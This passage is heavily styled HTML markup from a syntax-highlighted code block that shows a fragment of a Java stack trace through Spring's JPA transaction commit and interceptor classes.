initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">(</span><span class="typ" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #2b91af; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">JpaTransactionManager</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">.</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">java</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">:</span><span class="lit" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: maroon; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">471</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">)</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
at org</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">.</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">springframework</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">.</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">transaction</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">.</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">support</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">.</span><span class="typ" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #2b91af; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">AbstractPlatformTransactionManager</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">.</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">processCommit</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">(</span><span class="typ" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #2b91af; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">AbstractPlatformTransactionManager</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">.</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">java</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">:</span><span class="lit" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: maroon; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">754</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">)</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
at org</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">.</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">springframework</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">.</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">transaction</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">.</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">support</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">.</span><span class="typ" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #2b91af; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">AbstractPlatformTransactionManager</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">.</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">commit</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">(</span><span class="typ" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #2b91af; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">AbstractPlatformTransactionManager</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">.</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">java</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">:</span><span class="lit" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: maroon; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">723</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">)</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
at org</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">.</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">springframework</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">.</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">transaction</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">.</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">interceptor</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">.</span><span class="typ" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #2b91af; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">TransactionAspectSupport</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">.</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">commitTransactionAfterReturning</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">(</span><span class="typ" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #2b91af; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">TransactionAspectSupport</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">.</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">java</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">:</span><span class="lit" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: maroon; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">393</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">)</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
at org</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">.</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">springframework</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">.</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">transaction</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">.</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">interceptor</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">.</span><span class="typ" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #2b91af; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">TransactionInterceptor</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">.</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 